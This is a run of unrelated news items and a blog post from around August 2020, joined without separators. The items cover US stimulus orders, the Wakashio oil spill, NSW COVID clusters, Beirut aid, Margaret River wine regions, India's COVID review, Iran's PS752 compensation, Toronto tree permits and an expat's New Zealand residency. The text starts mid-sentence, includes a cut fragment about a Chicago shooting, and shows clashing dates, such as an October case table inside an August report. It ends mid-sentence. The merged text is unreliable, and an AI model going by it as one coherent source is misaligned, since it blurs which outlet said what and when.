interpreted as an attack primarily on Saudi Arabia; Iran arch-rival Arab state. Source: https://en.radiofarda.com/a/pompeo-says-un- should-heed-a-request-by-gcc-to-extend- iran-arms-embargo/30775388.html Copyright (c) 2020. RFE/RL, Inc. Reprinted with the permission of Radio Free Europe/Radio Liberty, 1201 Connecticut Ave., N.W. Washington DC 20036. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address House Speaker Nancy Pelosi (D-Calif.), with Senate Minority Leader Chuck Schumer (D-N.Y.), speaks to reporters at the Capitol in Washington on Aug. 1, 2020. (Manuel Balce Ceneta/AP Photo) Trumps Executive Orders Challenge Congress to Reach Broader Stimulus Deal WASHINGTONWall Street received a boost from President Donald Trumps new executive orders that extended some pandemic relief. While the relief falls short of expectations, it provides a new incentive for Congress to reach a deal on a broader fiscal package, economists say. Trump signed four executive orders on Aug. 8, extending extra unemployment benefits, deferring payroll taxes, extending student loan relief, and providing assistance to renters and homeowners through eviction protections. The real purpose was to get the Democrats in a better position to compromise, according to Casey Mulligan, professor of economics at the University of Chicago and former White House chief economist under Trump. And I think he did a great job of that, he told The Epoch Times. According to Mulligan, the U.S. economic recovery will be better in many dimensions by not having the stimulus. The president understands this and thats why hes not in a hurry to reach a deal. In a recent study, Mulligan and economist Stephen Moore found that suspending the payroll tax through the end of the year would stimulate the economy and boost employment by about 2.7 million jobs. Wall Street analysts are still expecting both Republicans and Democrats to make compromises and pass legislation worth around $1.5 trillion this month, as part of federal government support for the economy. Through the end of the year, Trumps policies will likely provide nearly $200 billion in fiscal relief, which is mostly temporary, according to Goldman Sachs. There is some risk that these orders reduce the urgency of talks on Capitol Hill regarding broader fiscal legislation, Goldman Sachs chief economist Jan Hatzius wrote in a report. But we also believe they could motivate congressional Democrats to come closer than they have so far to the Republican offer of slightly more than $1 trillion. As of the time of this writing, Democrats and Republicans remain far apart with respect to the size and priorities of the stimulus. The White House and Senate Republicans have indicated that they would keep the additional spending closer to $1 trillion, while Democrats have pushed for the nearly $3.4 trillion HEROES Act that passed the House in May. The extra unemployment benefit and support for state and local governments seemed to stand out as sticking points during the talks that collapsed on Aug. 7. House Speaker Nancy Pelosi (D-Calif.) called Trumps executive actions absurdly unconstitutional. Democrats may sue to block the orders but legal challenges could be politically fraught, according to Hatzius, since most of the orders accomplish politically popular goals. There is also a good chance that by the time legal action had an effect, the policies would no longer be relevant because Congress might pass legislation supplanting them, he wrote. Stocks rallied at the start of the week with renewed optimism surrounding stimulus talks and a potential COVID-19 vaccine. Despite the ongoing legislative stalemate over a relief bill, Trump said the markets welcomed the executive actions. It would have been so much easier than doing it the way we did it, he said during a press conference on Aug. 10. But we did something thats very important. And, frankly, its been well received. Trumps executive order extends the enhanced weekly unemployment benefit at $400, instead of $600. And he has directed $44 billion from the Disaster Relief Fund to pay 75 percent of the benefit; the remaining 25 percent would come from states. Treasury Secretary Steven Mnuchin said during the press conference on Aug. 10 that the payments could be expected within a week or two. The Committee for a Responsible Federal Budget estimated that the funding for the program would run out in five weeks if claims continue at around the current level. Economists believe this might force Congress to act before September to prevent further disruptions to the unemployment benefit. Trumps recent executive action also deferred the collection of the employee-side payroll taxes paid from Sept. 1 through Dec. 31, 2020; the deferral applies to any employee making less than $104,000 per year. This action could add up to $40 billion a month to the paychecks of Americans, JPMorgan stated in a research report. The order also instructs the Treasury Department to explore avenues, including legislation, to eliminate the obligation to pay the taxes deferred. Trump said on Aug. 10 he would take further executive actions to stimulate the economy, including a capital gains tax cut and a tax relief for middle-income families. Description GIS 11 August 2020: T he Minister of Blue Economy, Marine Resources, Fisheries and Shipping, Mr Sudheer Maudhoo, underlined that regarding the grounding of the MV Wakashio and the oil spill, daily progress reports also called situation reports were submitted by the salvage master to the Director of Shipping in cases of maritime casualties. The Minister was replying to a Private Notice Question at the National Assembly, in Port Louis, regarding the grounding of the Japanese bulk carrier MV Wakashio, and the oil spill in the region of Pointe DEsny. He gave a detailed overview of the evolution of the situation as follows: 30 July 2020 - it was reported that the ship was stable with no cracks detected and the tank tops were not damaged. No sign of spillage was observed around the vessel; 31 July 2020 - it was reported that the vessel was lively due to rough seas and had changed heading, that is, angle with respect to the reef. No deterioration of vessel and oil spill was observed. Neither the tank tops nor the deck was damaged and there was no sign of cracks. The Platform Supply Vessel (PSV), the Stanford Hawk which was in the vicinity of Madagascar was re-routed by SMIT Salvage to the casualty site; 01 August 2020 -salvors continued to monitor the status of the vessel and their assessment of damage sustained by the vessel; 02 August 2020 - the forepeak water tank, six water ballast tank and the engine room were breached, pipe duct were breached and tidal; risks for an oil spill at that stage was deemed low; due to harsh weather conditions and the very high risk of pipe breakage during pumping , transfer of fuel oil from the vessel was not recommended . O il from the bottom tank of the ship was being transferred by salvors to tanks located at the upper location in ship in order to minimise any risk of oil spill; 03 August 2020 - weather conditions were not favourable and the sea was too rough with waves of maximum heights of five metres for a tug to connect to the casualty vessel MV Wakashio. Due to bad weather conditions, the vessel had moved forward 70 metres and Salvors had dropped the starboard anchor to prevent such movement; 04 August 2020 - weather conditions had worsened and the sea was too rough with peak waves of over five metres high for any tug to connect to the casualty vessel MV Wakashio. To prevent the vessel from moving from its grounded position, the Naval Architects from SMIT Salvage recommended that cargo No. 6 be filled with seawater to 80 % of its capacity and Salvage Master followed their instructions; 05 August 2020 - no oil spill was observed around the vessel except for some minor oil sheen, and which the salvage presumed was coming from the lubricating oil of the propeller shaft. He also informed that the risk of oil spill from the vessel was still low. One of the nine cargo holds was intentionally filled in by salvors to stabilise the vessel, resulting in the tilting of the vessel at the rear. However, before re-floating the vessel, pumping/transfer of oil was envisaged on barge through pipe. The Minister further pointed out that from 26 July to the 5th of August 2020, the National Environmental Laboratory also carried out a series of analysis of samples collected from five different regions around the casualty site and that all tests results showed that no hydrocarbon was detected. However, on 06 August 2020, said the Minister, the structure of the vessel had weakened due to continuous stresses and strains caused by the high waves and the risk of an oil spill was imminent. Due to continuous leaking of the fuel tank, it resulted into a Tier 3 oil spill situation. The National Oil Spill Contingency Plan (NOSCP) with respect to a Tier 3 response was triggered and an Environmental Emergency was declared to contain and mitigate the impacts of the oil spill. Immediate actions were taken for the closure of specific places/areas near the casualty site, he highlighted. Assistance, emphasised Mr Maudhoo, was also requested from international organisations including the United Nations, European Union and foreign friendly countries, such as Australia, France, India, Japan and South Africa through the Ministry of Foreign Affairs, Regional Integration and International Trade. Regarding the appointment of a Court of Investigation, the Minister indicated that in line with the Merchant Shipping Act 2007, where a shipping casualty such as grounding of a vessel is reported, a preliminary inquiry may be held. The Deputy Director of Shipping, he recalled, was designated to conduct a preliminary inquiry to look into the circumstances that led to the grounding of the MV Wakashio. After analysis of the preliminary inquiry report thereafter the aforesaid Court of Investigation will be appointed, he added. Brookhouse International School has come out to refute reports that it demanded a Ksh45,000 fee from parents to have their children re-enrolled. This after parents and guardians last Friday protested that the school was illegally charging them for enrolment. The legal committee has advised that the parents should not participate in this exercise as it amounts to a new contract and an attempt to undermine the pending petition determination, the parents association committee said. But in a letter dated Saturday, August 8, Brookhouse schools Director, Rabih Saab, explained that the re-enrolment was for administration purposes as communicated to the chairperson of the parents group. He said the re-enrolment form sent to parents is used around the world by schools to improve administrative planning for timetable delivery. Saab said that there was no provision to pay any fees. Brookhouse decided to adopt this administrative mechanism at the beginning of 2020 long before the pandemic issue arose, said Mr Saab. Also Read: Brookhouse Owner Shows Grand Mullah, Parents the Middle Finger If You Cant Pay, Leave My School It will be U.S. Sen. Kamala Harris, D-Calif., and not Michigan Gov. Gretchen Whitmer who joins presidential candidate Joe Biden on the Democratic ticket, the campaign announced today. Bidens announcement ends months of speculation about who would join him on the Democratic ticket in 2020. The former vice president promised he would select a woman run alongside him, and the list of possible contenders included Whitmer, who leads a critical swing state and serves as a national co-chair on the Biden campaign. The coronavirus crisis is presenting fraudsters with unique opportunities to ply their trade, the National Credit Union Administration warned credit unions last week. New account fraud, identity theft and cybersecurity risks deserve heightened attention, as more business is conducted virtually, NCUA Chairman Rodney Hood warned in a letter to credit union officials. Fraudsters are particularly motivated to attempt these schemes because of the predominately virtual environment, and the significant shift towards remote access, Hood wrote. Fraudsters are increasingly seeking opportunities to exploit vulnerabilities in financial institutions remote access systems and customer-facing processes. Hood warned credit union officials that Small Business Administration loan programs created in response to the pandemic may be ripe for fraud. He cited several red flags that might indicate fraud, including: New South Wales has recorded its biggest daily increase in coronavirus cases in four months with 22 infections. Premier Gladys Berejiklian warned the state was 'on a knife's edge' as it attempts to prevent a Victoria-level second wave. Four of the new cases reported on Tuesday are in hotel quarantine, two are from Victoria and eight are linked to a cluster at Tangara girls' school in Cherrybrook, in Sydney's northwest. The 22 new cases is NSW's highest daily figure since April 17, when there were 29 cases - a gap of 116 days. NSW health authorities are working to trace the source of the now 17-strong coronavirus cluster associated with the independent Catholic school. 'At least a third, or eight, of those are from the new cluster at the Tangara School,' Ms Berejiklian told reporters on Tuesday. 'Any new cluster is a concern. I anticipate the number of that cluster will grow.' NSW health authorities are also working to trace the source of a COVID-19 cluster of 11 cases associated with Tangara School for Girls in Cherrybrook (pictured) 'Any new cluster is a concern. I anticipate the number of that cluster will grow,' Premier Gladys Berejiklian told reporters on Tuesday The eight Tangara school cases include five students, a staff member and two social contacts of confirmed cases. Ms Berejiklian admitted she was 'paranoid' about her own movements and urged residents to only go out when necessary as 'we are in a state of high alert.' 'My anxiety has not subsided in relation to what a knife's edge NSW is on but we need to keep pulling together, doing the right thing, and keep maintaining our social distance and most importantly, even with the mildest symptoms stay home and get tested,' she said. The premier said she expected the Tangara school cluster to spread even further and asked schools to stop extracurricular activities. 'You cannot undertake those activities you would do outside of a pandemic, whether it's onsite gatherings, mingling between students and others in extracurricular activities,' Ms Berejiklian said. 'I'm absolutely paranoid about what I do myself, the worst thing to be would be unintentionally give it to others.' Batemans Bay High School and Batemans Bay Public School (pictured) will both also be shut for cleaning on Tuesday after one student at each school tested positive for the virus There were 13,257 tests done in the 24-hour reporting period, compared with 19,920 in the previous 24 hours. The premier reiterated the state remains on high alert against the spread of the virus, following a serious outbreak in Victoria. 'We are in a pandemic - every organisation, every entity needs to abide by the COVID-safe plans,' Ms Berejiklian said. A man wearing a face mask is seen walking on the light rail platform at Sydney's Town Hall station The Opus Dei-associated school has closed its secondary campus until August 24 and its junior campus until at least Wednesday after its first COVID-19 case last week. NSW Health on Monday said the source of the Tangara outbreak remained unclear, and all secondary students and staff were in self-isolation and being tested. CORONAVIRUS CASES IN AUSTRALIA: 27,244 Victoria: 20,269 New South Wales: 4,273 Queensland: 1,161 Western Australia: 692 South Australia: 473 Tasmania: 230 Australian Capital Territory: 113 Northern Territory: 33 TOTAL CASES: 27,244 ESTIMATED ACTIVE CASES: 269 DEATHS: 897 Updated: 5.31 PM, 11 October, 2020 Source: Australian Government Department of Health Advertisement It comes as two schools on the south coast were forced to close on Tuesday morning after students tested positive for COVID-19. Batemans Bay High School and Batemans Bay Public School will both be shut for cleaning on Tuesday after one student at each school tested positive for the virus. All staff and students from both schools have been told to self-isolate while authorities notify close contacts of the patients. 'The school will be non-operational tomorrow for the on-site attendance of staff and students to allow time for the school to complete the contact tracing process and have the school cleaned,' a Batemans Bay High School statement said. A pop-up clinic will be set up at Hanging Rock between 9am and 5pm until Sunday to meet increased testing demand. The schools are working with NSW Health to establish close contacts. In Pennant Hills, St Agatha's Catholic Church is undergoing deep cleaning after a parishioner who visited last Wednesday and Thursday tested positive to the virus, as is PharmaSave Pharmacy in Cherrybrook after an infected employee worked on Thursday. In western Sydney, Bonnyrigg Heights Public School reopened on Tuesday after being closed for cleaning on Monday after a primary school student tested positive, but Kids' Early Learning Quakers Hill remains closed after children were exposed to the virus. A second student at Our Lady of Mercy College in Parramatta has also been diagnosed with COVID-19, and the school campus is closed. Source: Xinhua| 2020-08-11 00:21:39|Editor: huaxia Video Player Close Video: UN Secretary-General Antonio Guterres on Aug. 10, 2020 calls for international support for Lebanon after last week's horrific explosion that destroyed the port of Beirut and part of the capital city. (Xinhua) Guterres also calls for an investigation and for reforms in the country. UNITED NATIONS, Aug. 10 (Xinhua) -- UN Secretary-General Antonio Guterres on Monday called for international support for Lebanon after last week's horrific explosion that destroyed the port of Beirut and part of the capital city. "I call for robust international support for all people in need in Lebanon, especially women and girls who are most vulnerable in times of crisis," he told a virtual UN briefing on the humanitarian situation in Lebanon. "I thank those countries that are already providing tangible financial, material and specialized assistance. I urge donors to give speedily and generously." A boy visits Port of Beirut after explosions in Lebanon, Aug. 9, 2020. The two huge explosions that rocked Beirut on Aug. 4 have claimed at least 158 lives and injured 6,000 others. (Xinhua/Bilal Jawich) Guterres also called for an investigation and for reforms in the country. At this time of both sorrow and prolonged frustration, the anger of the Lebanese people is palpable. Their voices must be heard, he said, referring to the anti-government protests in the country. It is important that a credible and transparent investigation determine the cause of the explosion and bring about the accountability demanded by the Lebanese people. It is also important that reforms be implemented so as to address the needs of the Lebanese people for the longer term, he said. People visit the Port of Beirut after explosions in Beirut, Lebanon, Aug. 9, 2020. (Xinhua/Bilal Jawich) The blast has come at an already difficult time for Lebanon, with the country already facing economic hardship and impacts of the coronavirus pandemic. The economic, social and other reverberations will be felt for some time to come, said Guterres. "The catastrophe is huge. The sense of loss and even disbelief is profound. But Lebanon is resilient. Lebanon has immense spirit and will," he said. "Perhaps most of all, Lebanon is not alone. The United Nations will stand with Lebanon to help alleviate the immediate suffering and support its recovery." This is a moment for solidarity, and it is the time to change things for the better, he said. How the sub-regions of Margaret River could be split. Credit:Flametree Wines That process has since begun, with Wilyabrup wineries including the famed Cullen Wines and Fraser Gallop Estate applying for the area to become a registered geographical indication within Margaret River; just as Albany, Denmark and others did within the Great Southern wine region. But the bid has been halted in its tracks. On Wednesday last week, the Geographical Indications Committee decided not to make a final determination on Wilyabrup. Presiding member Dennis Mutton said part of the reason was there was still no agreement on the exact boundaries, or attributes, of the proposed region. He also referenced the ongoing Margaret River Wine Association project, which involved the CSIRO, soil scientists, climate analysts, academics and experienced viticulturists and winemakers. "The project could potentially identify discrete viticultural areas within that GI that may meet the criteria for determination as separate GIs," Mr Mutton said. "It will also include trained panel sensory analysis to identify areas which are distinct in climate or soil characteristics that could set them apart from the remainder of the Margaret River region." Long-time Howard Park owner Jeff Burch has been in Margaret River almost as long as anyone and owns vineyards in Wilyabrup and other sub-regions of the South West wine mecca. He said Wilyabrup's push was a bit premature, given Margaret River was only 50 years old and the Margaret River Region Project study to evaluate links between landscape, climates, soil types and other variations with wine produced in the region was ongoing. "I don't think they have gone about it the right way," Mr Burch said. Pioneering Margaret River wineries Vasse Felix and Leeuwin Estate were not consulted or engaged about the possibility of official geographical indication changes in the formal 2017 application to Wine Australia from Cullen Wines, Fraser Gallop, Lenton Brae, Moss Wood and Woodlands Wines. Marketing is a major sticking point for the region's industry, with some arguing sub-regions would help promote brands globally, like Moss Wood's Keith Mugford, whose family-run Wilyabrup winery has consistently produced some of Australia's most exceptional cabernet. "One of the issues we find with international consumers interested in those sorts of things is they don't have the clarity," Mr Mugford said. But Mr Burch, whose winery has been operating in Margaret River since 1986, said the region was still comparatively young on the international wine scene. "I'm not opposed to [geographical indication] but for marketing reasons we are only 50 years old globally ... Burgundy is 1000 years old," he said. "You're destroying 50 years of work to build up the Margaret River name ... no one's even heard of Wilyabrup. "If you're going to do it, do it properly, and gather all the scientific data, which is what the project is currently trying to gather." It should be done for everyone, all the sub-regions, or we're creating elitism ... when it's about individuality. Margaret River winemaker Ryan Walsh MRWA chief executive Amanda Whiteland said the region was not yet able to scientifically validate where, or to what extent, uniqueness or uniformity occurred. "It is with much relief the GIC has reached this decision," she said. "It gives us time to complete the necessary scientific work and for any GIs within Margaret River to be granted on a thorough scientific basis." For a region to earn its own geographical indication, it must produce at least 500 tonnes of grapes per year and include at least five vineyards that are not of common ownership. A wine that claims to be from Wilyabrup would also need to be made from at least 85 per cent of grapes grown in that region. Wine producers in Wilyabrup can continue to label their wines with 'Wilyabrup', provided the origin of the wine is not misleading. Local winemakers Ryan and Freya Walsh's label Walsh & Sons produces wine from vineyards in Wallcliffe in two locations, Burnside and Osmington, which are kilometres apart. Loading "Much is yet to be discovered in style and soil, so we label our wines on their locality as opposed to the generalised sub-regions," Mr Walsh said. "We much prefer local names as they better represent the small communities that exist within Margaret River. "How do you decide on boundaries? In Wallcliffe, for example, you can be 2 kilometres from the coast, or 22 kilometres." Prime Minister Narendra Modi, Defence Minister Rajnath Singh and Chief Ministers of various states interacted with each other on current situation of Covid-19 in India on Tuesday. In the last 24 hours, India reported as many as 53,601 new coronavirus cases and 871 deaths. New Delhi [India], Aug 11 (ANI): Prime Minister Narendra Modi on Tuesday said that there is a need to increase coronavirus testing in states where the testing rate is low and the positivity rate is high. He added that if we defeat coronavirus in these 10 states then the country will also win. Speaking at the meeting with Chief Ministers, held through video conferencing, the Prime Minister said if we defeat coronavirus in the 10 states then the country will also win.In States where the testing rate is low and the positivity rate is high, there is a need to increase testing there in particular, Bihar, Gujarat, Uttar Pradesh, West Bengal and Telangana. A view has emerged that testing should be increased in these states, he said. Today 80 per cent of active cases are in these ten states. Hence, the role of all these states is very big in the fight against coronavirus. The number of active cases is exceeded to 6 lakhs. Most of these cases are in these ten states, he said. PM Narendra Modi holds a video conference with Chief Ministers of Andhra Pradesh, Karnataka, Tamil Nadu, West Bengal, Maharashtra, Punjab, Bihar, Gujarat, Telangana, Uttar Pradesh, to discuss corona related situation. pic.twitter.com/6ECvrGVJsS ANI (@ANI) August 11, 2020 Thats why the need was felt for these states to sit together, review and discuss the issue. From this discussion, we also got to learn a lot from each others experiences. If we defeat coronavirus in these 10 states then the country will also win, he said. The Prime Minister said that the number of testing has reached 7 lakhs per day and is also increasing continuously. He said that if we try more in a focused way then we can achieve the target to bring down Case Fatality Rate (CFR) to less than 1 per cent. The average fatality rate was much lower than in the world before. It is a matter of satisfaction. It is constantly decreasing. Percentage of active cases has decreased and the recovery rate has increased. So, this means that our efforts are proving effective, the Prime Minister said. The most important thing is that it has also increased trust among people. Their confidence has increased and their fear of the infection has also decreased. If we try more in a focused way then we can achieve the target to bring down CFR to less than 1 per cent, he said. He said that there was a phase when COVID-19 became a huge problem in some districts of Uttar Pradesh, Haryana and Delhi. We have seen that in some districts of Uttar Pradesh, Haryana and Delhi, there was a phase when COVID-19 became a huge problem. We held a review meeting and a committee was formed under the chairmanship of Union Home Minister Amit Shah and to a great extent, we achieved desired results, he said. The Prime Minister asserted that the most effective weapon against coronavirus is containment, contact tracing, and surveillance. Now the public is also understanding and cooperating. This is a good result of our awareness efforts. This is why the system of home quarantine is being implemented in such a good way today. Experts are now saying that if we identify cases within 72 hours of onset, then this infection slows down to a great extent, he said. I get ground situation from you and also get to know that we are heading in the right direction. I am satisfied that every state is fighting this pandemic at its own level. Whether it is the Centre or State government, we are able to work as a team. We are getting good results due to this team spirit, he said. The Prime Minister said that efforts like better management in hospitals and increase the number of ICU beds have helped a lot. Among those present at the meeting were, Uttar Pradesh CM Yogi Adityanath, Tamil Nadu CM EK Palaniswami, West Bengal CM Mamata Banerjee, Punjab CM Amarinder Singh, Telangana CM K Chandrasekhar Rao, Maharashtra CM Uddhav Thackeray, Gujarat CM Vijay Rupani, Bihar CM Nitish Kumar and Andhra Pradesh CM YS Jagan Mohan Reddy. As many as 53,601 new coronavirus cases and 871 deaths were reported in India in the last 24 hours, according to the Union Ministry of Health and Family Welfare. The COVID-19 tally has risen to 22,68,676 including 6,39,929 active cases, 15,83,490 cured/discharged/migrated and 45,257 deaths. TOPEKA, Kan. - A Republican leader in the Kansas Legislature on Monday accused Democratic Gov. Laura Kelly's top public health administrator of using a misleading presentation to bolster their argument for requiring people to wear masks in public as a debate rages over imposing mandates to get the coronavirus under control. Iran will not compensate Ukraine International Airlines for its plane downed in January because the passenger jet was insured by European companies, the head of Irans Central Insurance Organisation, Gholamreza Soleimani, said on Monday. The Ukrainian plane is insured by European companies in Ukraine and not by Iranian (insurance) companies. Therefore, compensation should be paid by those European companies, he said, Reuters reported. At the same time, Soleimanis comments concerned the aircraft and did not address potential compensation for victims families. Earlier, an official representative of the Iranian Foreign Ministry said that Tehran agreed to pay compensation to Ukraine for the UIA plane downed in January. "Iran agreed to pay compensation for the plane, but the implementation of this issue takes time and has different aspects from technical and legal points of view," the Islamic Republic News Agency (IRNA) quoted the diplomat as saying. On January 8, 2020, Ukraine International Airlines Flight PS752 was shot down near Tehran by an Iranian surface-to-air missile, killing 176 people, including nine crew members (all Ukrainians) and 167 passengers (citizens of Ukraine, Iran, Canada, Sweden, Afghanistan, Germany, and the UK). On July 18, France's Civil Aviation Safety Investigation Authority (BEA) received Flight PS752s recorders from Iran. On July 24, Deputy Foreign Minister of Ukraine Yevhenii Yenin informed that the transcript from Flight PS752s recorders had confirmed illegal interference with the plane. On July 30, Irans delegation arrived in Kyiv to participate in talks on compensation for the downing of UIA flight PS752. On July 31, the Prosecutor General's Office of Ukraine informed that the next round of Ukraine-Iran talks on the investigation into PS752 flight crash was scheduled for October. ish Latrell Allen spotted the car and ran, east on 57th Street and north on May Street, with officers in pursuit, Murphy said. The closest cop saw him pull a gun as he ran into the alley east of Aberdeen Street; he was running south in the alley when he fired multiple shots at two officers chasing him, Murphy said. Big number: 14, the number of tree removal permit items considered by Toronto council so far in 2020. The trees have an 8-4-2 record. Eight decisions went in favour of keeping the trees, four went for removal, two decisions were delayed. Things got prickly at the July meeting of Toronto council. It started when Coun. James Pasternak demanded an apology after Coun. Gord Perks used the word foolhardy in a speech. For Councillor Perks to call people who dont agree with him foolhardy is totally inappropriate, said Pasternak. Coun. Frances Nunziata, who serves as councils speaker, echoed Pasternaks request for an apology. But Perks chose to stick to his point. Councillor, as much as I have been tempted on occasion to call you foolhardy, I did not. I said, If you are foolhardy enough to believe this. He added that he wouldnt apologize for citing science. That branched into a linguistic digression on whether describing someones belief as foolhardy is the same as calling someone a fool. Neither side backed down. The roots of all this friction? Youll never guess. It was a debate about whether council should grant a permit to remove two spruce trees in front of a property on Kane Avenue in the Silverthorn neighbourhood. It wasnt the first time a council debate about trees got tense. So far in 2020 council has considered 14 tree removal permits on both private and public property, many of them concluding with razor-thin votes. Im getting ahead of myself, though. Youre probably thinking something like, Hey, wait, why is the government of Canadas largest city spending so much time, in the middle of a pandemic, squabbling about individual trees? Thats a darn good question. Because, yes, this is all very absurd. But there are things you need to know about why this happens. First, trees matter. More than just providing some nice shade during hot summers, trees provide quantifiable benefits. City halls urban forestry division says Torontos 11.5 million trees generate $55 million in annual impacts, including $8.2 million in energy savings, $37.6 million in savings related to pollution removal and $4.8 million in savings by helping to absorb stormwater. Recognizing this, Toronto council has a longstanding target of covering 40 per cent of Toronto with tree canopy, but getting there hasnt been easy. According to the latest report on the state of Torontos trees, between 2008 and 2018 the canopy increased by an estimated 1.8 percentage points. These days, the city estimates the canopy at somewhere between 28.4 per cent and 31 per cent still well short of the goal. To make progress, not only does city hall need to step up their tree planting efforts, they also need to protect the trees that already exist, even if homeowners would like them out of the way. (About 60 per cent of Torontos trees are on private property.) Thats the basis for the citys permit process for tree removal. Letting homeowners go wild with an axe in their yards and on adjacent city-owned boulevards would have negative implications for everybody, so city hall requires that urban forestry staff inspect trees cited for removal. If trees are deemed healthy, a permit to remove will generally not be granted. Property owners can appeal a denied permit, however, which is what triggers the council debates. Few councillors celebrate this process, but changing it could prove more contentious than the already-contentious debates over the permits. Some, like conservative-minded Coun. Stephen Holyday, tend to support granting permits for removal of trees on private property. In January, he tried (and failed) to convince councillors to support a motion that would have looked at loosening the rules for removing private trees, so long as homeowners took responsibility for planting additional replacement trees. Other councillors have argued that the matter should be left entirely in the hands of the tree experts at city hall, leaving politicians out of it. But until council votes for a new policy, the absurdity of councils tree debates will continue, and often not to the benefit of the tree canopy. The two spruces at the centre of the Perks-Pasternak argument? A property owner wanted to remove them to make way for a driveway. Despite Perkss point that it would be foolhardy to believe any new trees planted to replace these mature trees would provide the same benefit, his motion to deny the removal permit lost on a 7-15 vote. Two more trees gone, cut down by an absurd process. Sharing is caring! 0 shares Share Tweet Pin Guys, I have some big news. Some major news. Life-changing news over here. No, mom, Im not pregnant. BUT Im officially a permanent resident of New Zealand! Theres no getting rid of me now, suckers! After seven years of living in and loving the Land of the Long White Cloud, my heart is filled with joy to receive my permanent residency here finally. It means so much to me to essentially be adopted by New Zealand, a place where I genuinely feel like I belong. I could have never imagined this moment when I bought my very first plane ticket moving to New Zealand as a bright-eyed blogging youth of 25 (spoken in my raspiest, been-around-the-block-a-few-times voice). Ah, life. A decade of being an expat The burden of the uncertainty of being an expat here is already lifted. How good does that feel? Really, really fucking good. Until you try and settle in a foreign land, its hard to understand the dread that sits in the deep recesses of your mind will one day I have to leave? Or worse, be forced to leave? What if I were to get stuck overseas during COVID19? Its omnipresent anxiety that you dont have much control over. Permanent residency in New Zealand means Ive done my time here, and Ive paid my dues. Ive clocked in my years, and Ive managed to demonstrate that Im 100% committed to living in New Zealand. It means now that I can come and go for however long I wish, always knowing I can return here (not that I would ever leave LOL). I believe its the equivalent of a Green Card in the USA where Im from. Thank you so much for gifting me with permanent residency in New Zealand. On finding a home somewhere else Sometimes I wonder if people are destined to belong to a place thats not where theyre born. Do you know what I mean? Even since I was little, I had a wildness about me, an urge to roam and explore beyond what I knew. A black sheep, in many ways, I never felt like I belonged in the US. Something intangible called me. No matter where I journeyed, my heart was also searching for a home too. Born to privilege, Im fortunate to be able to follow my heart. For years and years, I searched, looking for a place that spoke to my intuition to nest. Wandering the world, I often found myself asking the question could I see myself living here? For three years, I lived in Spain, a place I love very much but not quite enough. There was always something there that didnt quite fit, like trying to push the wrong puzzle piece into place. It was only when I finally stepped foot in New Zealand that my soul sighed in relief yes, this is home. Expat versus immigrant Ah, privilege. That old chestnut. What is privilege? Being white, blonde, and having the choice to move to a new country because I felt like it. Privilege is being called an expat, not an immigrant. I can remember reading an article once that referred to expats as high-status migrants. Nowadays, we are a global community of people who move around. A staggering 270 million people are estimated to live outside of the country of their birth, me included. Of course, that has all come to a screeching halt in the past six months (fuck you, COVID19). But it doesnt erase the inherently racist connotations from the prerogative of being able to choose to move from one wealthy country to another wealthy country. To be honest? I dont even know where to start unpacking that, beyond acknowledging my privilege from where I was born, the color of my skin, my accent, and my passport. And now Ive just been granted permanent residency in another post-colonial privileged country which is undergoing its reckoning with race. PHEW. Heavy. Hectic. Where to begin? Its generally accepted that the Maori, Polynesian seafarers, first sailed and settled in New Zealand around the 13th century, from their ancestral land of Hawaiki. For hundreds of years, they dispersed, settled, and voyaged around Aotearoa before Captain Cook arrived in 1770. What happened afterward is a similar narrative to many colonized nations around the world. White European dominance. The reduction of Maori to second class citizens by Pakeha. Loss. Exploitation. Disrespect. What is due now is reparation and accountability. Am I the right person to tell this story? Definitely not. But I want to highlight it here. Boiled down, I cant help but see the irony of Maori land stolen by European colonists once again to be sold to this other modern diaspora of expats, searching for joy on their land. The depth and loss here are not lost on me. As I navigate these new waters of becoming a kiwi permanently, I want to be able to honor and respect the original manaakitanga (hospitality, generosity) here. How do I use my privilege to leave the world better than when I arrived? How to do that? Well, Im still figuring it out. Now, I know how lucky I am, but that wasnt always the case. I didnt realize how lucky I was until now. The journey to understanding your privilege is a long, windy one. One that I imagine never ends. As I see photos of children in cages, of migrants willing to risk their lives for just the chance of something better, a rather sick feeling grips me in the bottom of my stomach. What have I done to deserve this freedom and opportunity that millions dont have? How do I learn to live with myself? What more, how can I be a better ally to those who werent born with the same assets as me? Forgive me as I navigate these new, nuanced waters. Im sure Im going to blunder and say the wrong thing, but that is how you learn. Im committed to learning and always doing better. Where you come from to where you want to be As I go through some wild family news that is shaking the foundations of the life I thought I knew, Im starting to reflect more and more on my past. Now that I grow older, a curiosity about where I came from and the history of my family has taken root inside me. I hunger to know more. The other day I was talking on the phone with my mom when she casually mentioned that she never had a store-bought dress until she was 14. Um, what?! Her grandparents immigrated from Poland at the end of the 19th century through New York; their name also indicates they might have Russian origins, which we are still working to decipher. Its a journey and a past I cant imagine, no matter how hard I try. Comparably, I grew up with a literal silver spoon in my mouth and an excellent selection of bellbottoms from the Limited Too hanging in my closet. I even hate me. In contrast, my partner Giulio has Italian heritage but was born in Chile. However, his family fled the Pinochet regime when he was young, so he grew up in Ecuador. With his blonde hair and blue eyes, thanks to his Italian grandfather, he also has the unique experience of growing up in a developing country and standing out in the crowd. Our childhoods were very different, but our desire for a new place both brought us to New Zealand separately before we found each other. I often forget this fact until he tells me stories like how he would always stick his head out of his door before walking outside in Ecuador to make sure he wouldnt get robbed, and he always walked checking over his shoulder. To go from zero safety to a place where locked doors arent the norm is wild. Dont we all as humans deserve to feel safe in the land we call home? COVID changes tides In a lot of ways, I want to keep my permanent residency status to myself because New Zealand immigration seems to have come to a grinding halt before COVID and after as well. I was extraordinarily lucky to get my residency years ago because it seems that it has all but fallen to pieces. *Just to clarify, getting residency (which I did in 2018) is expensive, hard, and lengthy, but going from residency to permanent residency in New Zealand (which I just did) is not so hard. It was a form and a fee. I cant tell you how many people Ive met recently who are in immigration limbo which I can vouch for is a really shitty limbo to be hanging out in. Ive met people whove been waiting on residency since 2018 (they applied with the application times were 6-8 months). Theyve been told theyll be waiting indefinitely as the backlog grows and the government pauses plans until after elections. Many people believe that the government is intentionally delaying processing applications in the hopes that many will give up and just leave. Holy shit! I dont want to take sides or anything, but this is very uncharacteristic kiwi behavior. Then COVID arrived, smacking us all in the face, leaving many stranded overseas, while foreign NZ immigration offices closed and setting up a backlog of applications around the 30,000 mark. I believe the focus was on essential workers. Most of these would be job dependent, many of which would have been rocked by the impact of COVID. Then on top of that, our current Minister of Immigration was just sacked after having an affair with a staffer. Gross. This is about as salacious as gossip gets here in New Zealand. Just remember Im a blogger, not a reporter, and I love other peoples drama. Also, just to clear the air, I am in no position to give any sort of advice on 